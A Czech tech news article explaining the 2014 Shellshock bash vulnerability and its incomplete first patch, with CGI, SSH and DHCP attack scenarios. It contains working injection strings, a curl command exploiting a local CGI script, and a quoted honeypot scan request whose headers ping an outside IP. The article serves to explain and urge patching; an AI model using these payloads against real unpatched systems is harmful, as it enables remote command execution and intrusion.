Díra v bashi, které si 20 let nikdo nevšiml

Ondřej Caletka 26. 9. 2014

Ve středu odpoledne byla zveřejněna zpráva o kritické zranitelnosti nejpoužívanějšího linuxového shellu bash. A stejně jako nedávný Heartbleed je i tato chyba vzdáleně zneužitelná. Pojďme se podívat, jak může být chyba, označovaná jako Shellshock, v praxi zneužita a proč je potřeba aktualizovat bash podruhé.

Funkce, o které jsme nevěděli

Stejně jako v případě nedávného heartbleedu, jde o chybu ve funkci, kterou bash obsahuje velmi dlouho (přinejmenším od verze 1.14.0 z roku 1994; starší verze již nejsou na FTP), přestože o ní málokdo věděl. Konkrétně jde o možnost exportovat funkci tak, aby byla dostupná v podprocesu. Zadáte-li:

$ mojefunkce() {
>        echo "Ahoj světe"
> }
$ export -f mojefunkce 

bude vaše funkce exportována do podprocesů, takže spustíte-li následně podproces, například příkazem bash, bude funkce dostupná:

$ bash
$ mojefunkce
Ahoj světe
$ exit 

Není k dispozici mnoho kanálů, kterými by mohl shell tuto uživatelskou funkci předat, proto k předání používá proměnnou prostředí. Konkrétně volání export -f mojefunkce vytvoří v dětských procesech novou proměnnou prostředí shodného názvu, obsahující dvě kulaté závorky následované definicí funkce. Můžeme si to zkusit nasimulovat ručně:

$ druhafunkce="() { echo \"Ahoj druhý světe\"; }" bash
$ druhafunkce
Ahoj druhý světe
$ exit 

Bash při svém spuštění projde všechny proměnné prostředí a najde-li nějakou, jejíž obsah začíná dvěma kulatými závorkami, vyhodnotí její obsah, čímž je funkce nadefinovaná i v novém shellu.

Anketa

Jaký shell nejčastěji používáte?

Eval is evil

Tím se dostáváme k tradiční poučce, která se objevuje v každé příručce programování každého jazyka, který obsahuje funkci eval. To je funkce, která umožňuje vyhodnotit své argumenty, jako by to byly příkazy. Tím se stává velmi nebezpečnou, zvláště pak, je-li jako její argument použit nedostatečně ošetřený vstup od uživatele. Ukažme si to na jednoduchém příkladu s hypotetickou funkcí, která spočítá uživatelem dodaný matematický výraz:

$ vyraz="1+1"
$ eval 'echo $(( '$vyraz' ))'
2
$ vyraz="1+1 )) ; echo HACKED ;#"
$ eval 'echo $(( '$vyraz' ))'
2
HACKED 

Zranitelnost bashe používá zcela totožný mechanizmus. Během načítání proměnných prostředí se při načítání funkce nezastaví na konci definice, ale vyhodnocuje dále:

$ tretifunkce="() { :; }; echo HACKED" bash
HACKED
$ exit 

Máme-li tedy možnost ovládat proměnné prostředí, můžeme donutit bash spustit libovolný příkaz. Zranitelnost dostala označení CVE-2014–6271.

Útok první: CGI

Common Gateway Interface je historický standard, který poprvé změnil web ze statického obsahu na dynamický. Webový server s patřičným nastavením při požadavku na CGI skript takový skript spustí, informace o spojení spolu s klientskými hlavičkami nastaví jako proměnné prostředí, data od klienta pošle na standardní vstup CGI skriptu a očekává, že skript na standardní výstup vytiskne obsah, který má být poslán klientovi. Pojďme si zkusit napsat a spustit jednoduchý CGI skript, který vypíše IP adresu klienta:

$ mkdir cgi-bin
$ cat > cgi-bin/ip.sh <<EOF
> #!/bin/bash
>
> echo -e "Content-type: text/plain\r\n\r"
> echo -e "\${REMOTE_ADDR}"
> EOF
$ chmod +x cgi-bin/ip.sh
$ python3 -m http.server --cgi 8080 

Nyní můžeme z jiného okna vyzkoušet správnou funkci příkazem curl. A budeme-li chtít zneužít uvedenou zranitelnost, stačí jen trochu upravit třeba název prohlížeče:

$ curl localhost:8080/cgi-bin/ip.sh
127.0.0.1
$ curl localhost:8080/cgi-bin/ip.sh -A '() { :; }; echo HACKED >>/tmp/hack'
127.0.0.1
$ cat /tmp/hack
HACKED 

V ohrožení jsou i PHP, Perl a další webové aplikace

Naprostá většina webových aplikací bash takto přímo nepoužívá, to ale neznamená, že nemohou být zranitelné. Stačí aby aplikace třeba v PHP v některém místě volala popen() nebo system() pro spuštění externích příkazů. Pokud se totiž aplikace nepostará o vyčištění prostředí, může škodlivá proměnná průchod PHP v klidu přečkat a zaútočit až v okamžiku, kdy kód v PHP zavolá (prostřednictvím bashe) externí příkaz. Týká se to ale naštěstí jen případů, kdy je webová aplikace propojena s web serverem prostřednictvím CGI, což se (mimo jiné z výkonnostních důvodů) příliš často nepoužívá.

Útok druhý: obcházení SSH omezení

Druhý snadno realizovaný útok se může týkat všech služeb, které k přístupu používaji SSH s omezením přístupu (příkladem budiž třeba Git repozitář). Takové služby obvykle vnutí uživateli (volbou ForceCommand v OpenSSH) spuštění kontrolního skriptu, který zkontroluje obsah proměnné SSH_ORIGINAL_COMMAND a uzná-li oprávněnost uživatelského požadavku, akci provede. Je-li tento kontrolní skript v bashi, je zneužití přímočaré, stačí jako příkaz použít výše uvedenou magickou sekvenci. Riziko se týká především „podomácku“ vyráběných kontrolních skriptů, nástroje jako Gitosis nebo Gitolite bash nejspíše nepoužívají.

Útok třetí: DHCP server s volbou navíc

Tento scénář je obzvláště pikantní: Přijdete do restaurace, připojíte svůj notebook k místní WiFi a… váš počítač je hacknut, a to dokonce s root oprávněním. Stačí k tomu DHCP server, který pošle speciálně upravenou konfigurační volbu. Bývá zvykem, že DHCP klient pro vlastní nastavení volá shell skripty a předává jim přijaté volby právě prostřednictvím prostředí. Pokud je jako shell použit zranitelný bash, útoku nic nebrání.

Krok stranou: Na neinteraktivní skripty se bash nehodí

Společným bodem popsaných scénářů vzdálené zranitelnosti je, že se týká neinteraktivních skriptů. Pro ty je použítí bashe často suboptimálním řešením, neboť bash obsahuje poměrně komplexní podporu interaktivní práce (například doplňování pomocí tabulátoru), které jsou pro neinteraktivní skripty zbytečné a jen zdržují načítání skriptu.

Proto také již před lety vznikl v Debianu odlehčený shell dash, který je uživatelsky nepřívětivý, ale za to mnohem menší a rychlejší. Podporuje standard POSIX, ne však již rozšíření, která jsou specifická pro bash. Skripty obsahující bashismy proto musí být upraveny. Zcela nezávisle na této konkrétní zranitelnosti však lze pro vývoj nových shell skriptů použití takovýchto odlehčených shellů jen doporučit.

Skenování internetu již probíhá

Netrvalo dlouho a po internetu se rozběhly první skeny snažící se odhalit tuto zranitelnost. Jeden takový zaznamenal i honeypot v síti CESNET:

GET / HTTP/1.0
Accept: */*
Cookie: () { :; }; ping -c 17 209.126.230.74
Host: () { :; }; ping -c 23 209.126.230.74
Referer: () { :; }; ping -c 11 209.126.230.74
User-Agent: shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html) 

Zajímavý je způsob „volání domů“ příkazem ping. Na odkazované adrese jsou pak k dispozici výsledky, podle kterých je zranitelných víc než tři tisíce serverů a to i přesto, že test probíhal na kořenovou URL a bez uvedení správné hlavičky Host:. Dá se tedy očekávat, že skutečný počet zranitelných serverů bude mnohem vyšší.

Záplata až na druhý pokus

Současně se zveřejněním zranitelnosti byly k dispozici opravené verze bashe přinejmenším pro Debian Wheezy a RHEL. Tavis Ormandy ovšem na Twitteru poukázal na to, že první záplata neřešila problém zcela, stále bylo možné vložením nekompletní definice funkce zapsat libovolný obsah do libovolného souboru:

$ ctvrtafunkce='() { (a)=>\' bash -c '/tmp/hack echo HACKED'
bash: ctvrtafunkce: řádek 1: chyba syntaxe poblíž neočekávaného tokenu „=“
bash: ctvrtafunkce: řádek 1: `'
bash: chyba při importu definice „ctvrtafunkce“
$ cat /tmp/hack
HACKED 

Tato zranitelnost dostala označení CVE-2014–7169 a její opravy jsou distribuovány od čtvrtečního odpoledne. Pokud jste tedy aktualizovali dříve, nezbývá než proces opakovat.

Budou se podobné incidenty opakovat?

Podle toho, že se ani na první pokus nepodařilo bezpečně odstranit zranitelnost, je možné usuzovat, že zdrojový kód bash možná není v úplně nejlepší kondici. Vlna zájmu, kterou nedávno odhalená zranitelnost přitáhla, spolu s obrovským množstvím vzdáleně zneužitelných serverů, s jejichž kompromitací se nepochybně brzy začne, jistě způsobí, že parsovací funkce bashe budou dále podrobně zkoumány. Můžeme jen doufat, že případné další problémy budou při svém objevení náhlášeny namísto zneužití.

Je však třeba si uvědomit, že kromě možných zranitelností shellu jako takového je řádově vyšší obecný problém zranitelnosti nejrůznějších shellových skriptů. Není totiž vůbec jednoduché napsat složitější skript, který se bezpečně popere s libovolným vstupem, včetně vstupních dat obsahujících mezery, zpětná lomítka, dolary a uvozovky. Z toho důvodu se obecně doporučuje složitější problémy řešit raději v pokročilejších skriptovacích jazycích, jako jsou Python nebo Perl.

Další informace

120na80.cz: Vyzrajte na návaly a pocení v přechodu

Vyzrajte na návaly a pocení v přechodu

Lupa.cz: Jak EET vidí ajťák aneb Drahá vražda UX

Jak EET vidí ajťák aneb Drahá vražda UX

Vitalia.cz: Syndrom PC vidění: stačí dvě hodiny denně

Syndrom PC vidění: stačí dvě hodiny denně

DigiZone.cz: Budoucnost video služeb na internetu

Budoucnost video služeb na internetu

120na80.cz: Zjistěte, zda je vaše klíště infikované

Zjistěte, zda je vaše klíště infikované

Lupa.cz: Nová podoba Instagramu? Katastrofa

Nová podoba Instagramu? Katastrofa

Lupa.cz: Kam si doma dáte internet věcí? Na polici?

Kam si doma dáte internet věcí? Na polici?

DigiZone.cz: Konec geoblokace? Ani náhodou…

Konec geoblokace? Ani náhodou…

Vitalia.cz: Sója a rakovina

Sója a rakovina

120na80.cz: 5 triků, jak zastavit krvácení po holení

5 triků, jak zastavit krvácení po holení

DigiZone.cz: Konec geoblokace online médií?

Konec geoblokace online médií?

Lupa.cz: Zaplatíme ti, když ti seženeme práci

Zaplatíme ti, když ti seženeme práci

Vitalia.cz: Děti jsou sportem opotřebované

Děti jsou sportem opotřebované

Podnikatel.cz: Když už je sexy, tak ať taky funguje

Když už je sexy, tak ať taky funguje

Root.cz: Cenzura internetu prošla, i přes pochyby senátorů

Cenzura internetu prošla, i přes pochyby senátorů

120na80.cz: 10 nej přípravků na holení

10 nej přípravků na holení

Podnikatel.cz: Alza radí e-shopům, jak opustit Heureku

Alza radí e-shopům, jak opustit Heureku

Lupa.cz: Babiš: nevím o návodu, jak obejít blokování webů

Babiš: nevím o návodu, jak obejít blokování webů

Vitalia.cz: Dnešní patolog o mrtvolu téměř nezavadí

Dnešní patolog o mrtvolu téměř nezavadí

Vitalia.cz: 7 nemocí očí, které musíte léčit včas

7 nemocí očí, které musíte léčit včas